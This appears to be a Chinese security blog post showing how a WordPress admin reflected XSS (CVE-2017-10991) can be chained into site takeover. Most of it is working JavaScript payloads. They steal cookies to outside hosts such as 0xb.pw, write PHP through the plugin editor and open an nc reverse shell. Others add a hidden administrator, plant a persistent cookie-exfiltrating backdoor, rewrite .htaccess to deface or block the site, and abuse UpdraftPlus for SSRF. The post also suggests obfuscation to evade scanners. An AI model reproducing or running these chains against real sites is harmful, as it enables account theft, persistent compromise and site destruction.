LoRexxar's Blog

从瑞士军刀到变形金刚--XSS攻击面拓展

xss
2017/08/23

这篇文章的原文被我首发在阿里先知社区。

前段时间我阅读了Sucuri Security的brutelogic的一篇博客以及ppt，对xss有了一些新的理解。

在我们真实场景下遇到xss漏洞的时候，我们常常会使用

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<script>alert(1)</script>

来验证站点是否存在漏洞（PoC），为了不触及敏感信息，我们往往不会深入研究XSS的危害程度，很多人都只知道Cross-Site Scripting（XSS）可以窃取cookie，模拟admin请求，但事实上在复杂环境下，我们可以使用XSS完成复杂的攻击链。

测试环境

wordpress v4.8.0(默认配置)
UpdraftPlus v1.13.4
Yoast SEO v5.1
WP Statistics v12.0.9

以下的所有研究会围绕Wordpress 的 WP Statistics爆出的一个后台反射性xss(CVE-2017-10991)作为基础。

WordPress WP Statistics authenticated xss Vulnerability(WP Statistics <=12.0.9)/)

什么是XSS？

Cross-site scripting（XSS）是一种Web端的漏洞，它允许攻击者通过注入html标签以及JavaScript代码进入页面，当用户访问页面时，浏览器就会解析页面，执行相应的恶意代码。

一般来说，我们通常使用XSS漏洞来窃取用户的Cookie，在httponly的站点中，也可能会使用XSS获取用户敏感信息。

我们从一段简单的php包含xss漏洞的demo代码来简单介绍下XSS漏洞。

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<?php
$username = $_GET['user'];
echo "Hello, $username";

当我们传入普通的username时候，返回是这样的
image.png-10.5kB

当我们插入一些恶意代码的时候
image.png-46.5kB

我们插入的<script>alert(1)</script>被当作正常的js代码执行了

让我们回到之前的测试环境中

image.png-111.6kB

我们可以通过一个漏洞点执行我们想要的js代码。

盗取Cookie

在一般的通用cms下呢，为了通用模板的兼容性，cms本身不会使用CSP等其他手段来防护xss漏洞，而是使用自建的过滤函数来处理，在这种情况下，一旦出现xss漏洞，我们就可以直接使用xhr来传输cookie。

简单的demo如下

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<script>
var xml = new XMLHttpRequest(); 
xml.open('POST', 'http://xxxx', true); 
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('cookie='+document.cookie)
</script>

这里我们可以直接使用xhr来传递cookie，但可惜的是，由于wordpress的身份验证cookie是httponly，我们无法使用简单的documen.cookie来获取cookie。
image.png-28.1kB

但无情的是，我们可以通过和别的问题配合来解决这个问题。在这之前，我们先来回顾一种在brutelogic的ppt中提到的xss2rce的利用方式。

通过这其中的思路，我们可以在整个wordpress站点中执行我们想要的任何攻击。

Xss to Rce

在wordpress的后台，有一个编辑插件的功能，通过这个功能，我们可以直接修改后台插件文件夹的任何内容。

而在默认下载的Wordpress中，都会包含Hello Dolly插件，通过修改这个插件内容并启动插件，我们可以执行想要的任何代码。

但在这之前，我们首先要了解一下，wordpress关于csrf的防御机制，在wordpress中引入了_wpnonce作为判断请求来源的参数。

在一般涉及到修改更新等操作的时候，会调用check_admin_referer()函数来判断传入的wpnonce是否和该操作计算的nonce值相等，后台部分代码如下：

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function wp_verify_nonce( $nonce, $action = -1 ) {
	$nonce = (string) $nonce;
	$user = wp_get_current_user();
	$uid = (int) $user->ID;
	if ( ! $uid ) {
		/**
		 * Filters whether the user who generated the nonce is logged out.
		 *
		 * @since 3.5.0
		 *
		 * @param int    $uid    ID of the nonce-owning user.
		 * @param string $action The nonce action.
		 */
		$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
	}
	if ( empty( $nonce ) ) {
		return false;
	}
	$token = wp_get_session_token();
	$i = wp_nonce_tick();
	// Nonce generated 0-12 hours ago
	$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );
	if ( hash_equals( $expected, $nonce ) ) {
		return 1;
	}
	// Nonce generated 12-24 hours ago
	$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
	if ( hash_equals( $expected, $nonce ) ) {
		return 2;
	}

这其中i参数固定，action参数为不同操作的函数名，uid为当前用户的id，token为当前用户cookie中的第三部分。

也就是说，即便不方便读取，我们也可以使用直接计算的方式来获得wpnonce的值，完成攻击。

这里我们使用从页面中读取wpnonce的方式，nonce在页面中是这样的

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<input type="hidden" id="_wpnonce" name="_wpnonce" value="00b19dcb1a" />

代码如下

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url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?php phpinfo();?>';
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';
b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);

通过这段js，我们可以向hello.php写入php code。

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http://127.0.0.1/wordpress4.8/wp-content/plugins/hello.php

image.png-17.5kB

getshell，如果服务端权限没有做设置，我们可以直接system弹一个shell回来，导致严重的命令执行。

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s = '<?=`nc localhost 5855 -e /bin/bash`;';

但正如XSS漏洞存在的意义，getshell或者rce本身都很难替代xss所能达到的效果，我们可以配合php的代码执行，来继续拓展xss的攻击面。

xss的前端攻击

在wordpress中，对用户的权限有着严格的分级，我们可以构造请求来添加管理员权限的账号，用更隐秘的方式来控制整个站点。

poc:

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url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/user-new.php';
user = 'ddog';
pass = 'ddog';
email = 'ddog@ddog.com';
a = new XMLHttpRequest();
a.open('GET', url+p, 0);
a.send();
ss = '_wpnonce_create-user=' + /nonce_create-user" value="([^"]*?)"/.exec(a.responseText)[1] +
'&action=createuser&email='+email+'&pass1='+pass+'&pass1-text='+pass+'&pass2='+pass+'&pw_weak=on&role=administrator&user_login='+user;
b = new XMLHttpRequest();
b.open('POST', url+p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);

后台已经被添加了新的管理员账号
image.png-8.5kB

但即便是我们通过添加新的管理员账号获取了网站的管理员权限，我们还是不可避免的留下了攻击痕迹，但其实我们通过更隐秘的方式获取admin账号的cookie。

还记得上文中提到的php代码执行吗，利用注入页面的phpinfo，我们可以获取httponly的cookie。

image.png-34.9kB

当然，我们仍然需要构造连接整个攻击过程的js代码。

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// 写入phpinfo
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?php phpinfo();?>';
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';
b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);
// 请求phpinfo
b.onreadystatechange = function(){
   if (this.readyState == 4) {
      	p_url = url + 'wp-content/plugins/hello.php';
		c = new XMLHttpRequest();
		c.open('GET', p_url, 0);
		c.send();
		sss = /HTTP_COOKIE <\/td><td class="v">[\w=;% \-\+\s]+<\/td/.exec(c.responseText)
		// 将获取到的cookie传出
		var d = new XMLHttpRequest(); 
		d.open('POST', 'http://xxx', true); 
		d.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		d.send('cookie='+sss)
   }
}

image.png-56.9kB

成功收到了来自目标的cookie。

虽然我们成功的收到了目标的cookie，但是这个cookie可能在一段时间之后就无效了，那么怎么能把这样的一个后门转化为持久的攻击呢。这里我还是建议使用hello holly这个插件。

这个插件本身是一个非常特殊的插件，在启用情况下，这个插件会被各个页面所包含，但细心的朋友可能会发现，在前面的攻击过程中，由于我们不遵守插件的页面格式，页面内容被替换为<?php phpinfo();?>的过程中，也同样的不被识别为插件，我们需要将页面修改为需要的页面格式，并插入我们想要的代码。

当hello.php为这样时，应该是最简页面内容

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<?php
/*
Plugin Name: Hello Dolly
Version: 1.6
*/

那么我们来构造完整的攻击请求

1、构造xss攻击链接->管理员点击->修改插件目录的hello.php->启动hello, holly插件->访问首页->触发攻击
2、hello.php页面直接获取cookie发出。

hello.php

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<?php
/*
Plugin Name: Hello Dolly
Version: 1.6
*/
?>
<script>
var d = new XMLHttpRequest(); 
d.open('POST', 'http://xxx', true); 
d.setRequestHeader("Content-type","application/x-www-form-urlencoded");
d.send('cookie=<?php echo urlencode(implode('#', $_COOKIE))?>');
</script>

这部分的代码看似简单，实际上还有很大的优化空间，就比如：
1、优化执行条件：通过和远控（xss平台）交互，获取时间戳，和本地时间做对比，如果时间不符合要求不执行，避免管理员在后台的多次访问导致xss平台爆炸。
2、通过代码混淆等方式，将代码混淆入原本的代码中，避免安全类防御工具在站内扫面时发现此页面。

这里我就不做深究了，完整的写入poc如下

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// 写入后门
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '%3C%3Fphp%0A%2f%2a%0APlugin%20Name%3A%20Hello%20Dolly%0AVersion%3A%201.6%0A%2a%2f%0A%3F%3E%0A%3Cscript%3E%0Avar%20d%20%3D%20new%20XMLHttpRequest%28%29%3B%20%0Ad.open%28%27POST%27%2C%20%27http%3A%2f%2f0xb.pw%27%2C%20true%29%3B%20%0Ad.setRequestHeader%28%22Content-type%22%2C%22application%2fx-www-form-urlencoded%22%29%3B%0Ad.send%28%27cookie%3D%3C%3Fphp%20echo%20urlencode%28implode%28%27%23%27%2C%20%24_COOKIE%29%29%3F%3E%27%29%3B%0A%3C%2fscript%3E';
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';
b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);
// 开启插件
b.onreadystatechange = function(){
	if (this.readyState == 4) {
		// 解开启插件的请求回来
		c = new XMLHttpRequest();
		c.open('GET', url+'wp-admin/plugins.php', 0);
		c.send();
		sss = /(data-plugin="hello.php)[\w\s"\'<>=\-选择你好多莉\/[\].?&;]+/.exec(c.responseText);
		sss = /plugins.php([\w.?=&;]+)/.exec(sss)[0];
		sss = sss.replace(/&amp;/gi, '&')
		
		// 开启插件
		d = new XMLHttpRequest();
		d.open('GET', url+'wp-admin/'+sss, 0);
		d.send();
		// 跳回首页
		setTimeout('location.href='+url+'wp-admin/',2000);
   }
}

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事实上，由于wordpress的特殊性，我们可以通过xss来请求安装插件来简化上面的攻击链，简化整个流程，当我们访问：

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http://wordpress.site/wp-admin/update.php?action=install-plugin&updraftplus_noautobackup=1&plugin=wp-crontrol&_wpnonce=391ece6c0f

wp就会自动安装插件，如果我们将包含恶意代码的模块上传到插件库中，通过上述请求自动安装插件，再启用插件，那么一样可以完整整个攻击。

xss的破坏式利用

上文中主要是展示了xss配合特性对前端渗透的一些攻击方式，但是很多时候渗透的目的并不一定要隐秘，对于黑产或者其他目的的渗透来说，可能会有一些破坏式的利用方式。

当攻击者的目的并不是为了渗透，而是为了恶作剧、挂黑页，甚至只是为了单纯的搞挂网站，那么就不需要那么复杂的利用链，可以用一些更简单的方法。

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<img src=//upload.wikimedia.org/wikipedia/commons/f/fd/Hack.png style=width:100%;height:100%>

这种方式一般应用于储存性xss漏洞点，比较接近恶作剧性质，因为不会危害到网站安全。

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<iframe src="xxxxx" style="border:0;position: absolute;top: 0;right: 0;width: 100%;height: 100%" onload="{dom xss}"

通过上述payload，我们可以配合xss漏洞来造成点击劫持，或者更复杂的利用方式。这种漏洞一般比较适合新闻类站点的xss漏洞，在wordpress上我没找到合理的利用方式，就不展示demo了，贴一张brutelogic在ppt中的demo截图。

image.png-432.7kB

红箭头指向的标题是被xss修改后的标题。配合一些社工手段，这样的利用方式可能会造成大于攻击网站本身的破坏。

当然，还可以有更彻底的方式。在wordpress的插件yoast seo中，包含一个自带的功能可以修改整战根目录的.htaccess文件。

通过修改.htaccess，我可以直接让整个站跳到黑页、广告页等，达成我们想要的目的。

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url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/admin.php?';
q = 'page=wpseo_tools&tool=file-editor';
s = "%23%20BEGIN%20WordPress%0A%3CIfModule%20mod_rewrite.c%3E%0ARedirect%20%2fwordpress4.8%20https%3A%2f%2florexxar.cn%0A%3C%2fIfModule%3E%0A%23%20END%20WordPress";
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
ss = '_wpnonce=' + a.responseText.match(/nonce" value="([^"]*?)"/g)[1].match(/\w+/g)[2] +
'&htaccessnew=' + s + '&submithtaccess=Save+changes+to+.htaccess';
b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);

甚至如果想要使整个站出错，可以直接设置.htaccess内容为deny from all，那样整个站就会返回403，拒绝用户访问。

当然除了攻击网站以外，我们可以通过使用xss来注入恶意payload到页面，当用户访问页面时，会不断地向目标发起请求，当网页的用户量达到一定级别时，可以以最低的代价造成大流量的ddos攻击。几年前就发生过类似的事情，攻击者利用搜狐视频评论的储存型xss，对目标产生了大流量的ddos，这种攻击成本低，持续时间长，对攻击者还有很强的隐秘性。

http://www.freebuf.com/news/33385.html

攻击和防护的一些思路见
https://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html

在前面部分的内容，花了大篇幅来描述XSS在前台中的影响，关于后台的部分只有一部分通过编辑插件实现的XSS to Rce.但实际上还有更多拓展的可能。

XSS的后端利用

这里首先介绍一个WordPress的插件UpdraftPlus，这是一个用于管理员备份网站的插件，用户量非常大，基本上所有的wordpress使用者都会使用UpdraftPlus来备份他们的网站，在这个插件中，集成了一些小工具，配合我们xss，刚好可以实现很多特别的攻击链。

首先是phpinfo，前面提到，我们可以修改hello holly这个插件来查看phpinfo，但是如果这个默认插件被删除了，而且又没有合适的方式隐藏phpinfo页面，那么我们可以通过UpdarftPlus来获取phpinfo内容。

这个链接地址为

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wp-admin/admin-ajax.php?page=updraftplus&action=updraft_ajax&subaction=phpinfo&nonce=cbe6c0b062

除了phpinfo以外，我们还可以使用内建的curl工具，这个工具没有对请求地址做任何限制，那么我们就可以使用这个工具来ssrf或者扫描内网。

curl的链接

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wp-admin/admin-ajax.php?action=updraft_ajax&subaction=httpget&nonce=2f2f07ce90&uri=http://127.0.0.1&curl=1

配合js，poc如下：

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url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/options-general.php?';
p2 = 'wp-admin/admin-ajax.php?';
q = 'page=updraftplus&tab=addons';
s = "http://111111111";
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
q2 = 'nonce=' + /credentialtest_nonce='([^']*?)'/.exec(a.responseText)[1] +
'&uri=' + s + '&action=updraft_ajax&subaction=httpget&curl=1';
// 发起请求
b = new XMLHttpRequest();
b.open('GET', url+p2+q2, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send();
b.onload = function(){
	if (this.readyState == 4) {
		// 传出请求结果
		var c = new XMLHttpRequest(); 
		c.open('POST', 'http://0xb.pw', true); 
		c.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		c.send('result='+encodeURIComponent(b.responseText))
	}
}

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请求成功了，事实上，如果XSS的交互脚本写的足够好，这里完全可以实现对内网的渗透。

END：拓展与思考

整篇文章其实是我在对wordpress源码审计时候的一些思考，对于大部分通用类的cms，开发者往往过于相信超级管理员，其中wordpress就是典型代表，开发者认为，网站的超级管理员应该保护好自己的账户。

在这种情况下，一个后台的反射形XSS漏洞往往会造成远远超过预期的危害。一个反射性XSS配合一些设计问题会导致全站的沦陷。

但反射性XSS总有一些缺点
1、指向性明显，链接必须要网站的超级管理员点击才有效，在实际使用中，你可能很难获知网站的超级管理员是谁。
2、必须点击链接，最低要求也必须要访问包含你恶意链接的页面。

幸运的是，我们仍然有拓展攻击的方式，在@呆子不开口 FIT2017的议题中，他提到一部分poc的反分析办法，根据这个思路，我们优化我们的poc。

image.png-47.2kB

一个完成的恶意链接，甚至可以搭配上js蠕虫，将入侵成功的站点再次演变为新的恶意链接，这样整个攻击链就形成了。

上面所有涉及到的js都上传到了我的github上。欢迎讨论

参考

CATALOG
  1. 1. 测试环境
  2. 2. 什么是XSS？
  3. 3. 盗取Cookie
  4. 4. Xss to Rce
  5. 5. xss的前端攻击
  6. 6. xss的破坏式利用
  7. 7. XSS的后端利用
  8. 8. END：拓展与思考
  9. 9. 参考
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